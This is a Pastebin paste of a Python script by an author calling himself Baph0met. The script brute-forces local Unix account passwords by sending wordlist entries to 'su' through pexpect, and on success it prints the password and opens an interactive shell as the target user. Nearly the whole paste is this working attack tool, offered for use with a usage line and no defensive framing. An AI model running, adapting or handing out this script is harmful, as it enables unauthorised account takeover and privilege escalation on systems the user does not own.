Advertisement
Baph0met

Py Local Acc Bruteforcer

Feb 19th, 2016
146
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.38 KB | None | 0 0
  1. Local Acc Bruteforcer in Python
  2. {THE HOUSE ALWAYS WINS}
  3. Done by Baph0met
  4. Twitter @ircthots
  5.  
  6. import sys, pwd
  7.  try:
  8.     import pexpect
  9.  except(ImportError):
  10.     print "\nYou need the pexpect module."
  11.     print "http://www.noah.org/wiki/Pexpect\n"
  12.     sys.exit(1)
  13.  
  14.  
  15.  #Change this if needed.
  16.  LOGIN_ERROR = 'su: incorrect password'
  17.  
  18.  
  19.  def brute(word):
  20.     print "Trying:",word
  21.     child = pexpect.spawn ('su '+user)
  22.     child.expect ('Password: ')
  23.     child.sendline (word)
  24.     i = child.expect([LOGIN_ERROR, pexpect.TIMEOUT], timeout=5)
  25.     if i  == 1:
  26.         print "\n\t[!] Password:",word
  27.         child.sendline ('whoami')
  28.         print child.before
  29.         child.interact()
  30.     #if i = 0:
  31.         #print "Incorrect Password"
  32.      
  33.  if len(sys.argv) != 3:
  34.     print "\nUsage : ./accbrute.py <user> <wordlist>"
  35.     print "Eg: ./accbrute.py d3hydr8 words.txt\n"
  36.     sys.exit(1)
  37.  
  38.  
  39.  user = sys.argv[1]
  40.  users = []
  41.  for x in pwd.getpwall():
  42.     users.append(x[0])
  43.  if user not in users:
  44.     print "\n[-] User not found\n"
  45.     sys.exit(1)
  46.      
  47.  print "\n[+] Found:",len(users),"users"
  48.  try:
  49.     words = open(sys.argv[2], "r").readlines()
  50.  except(IOError):  
  51.     print "\n[-] Error: Check your wordlist path\n"
  52.     sys.exit(1)
  53.      
  54.  print "\n[+] Loaded:",len(words),"words"
  55.  print "[+] User:",user
  56.  print "[+] BruteForcing...\n"
  57.  for word in words:
  58.     brute(word.replace("\n",""))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement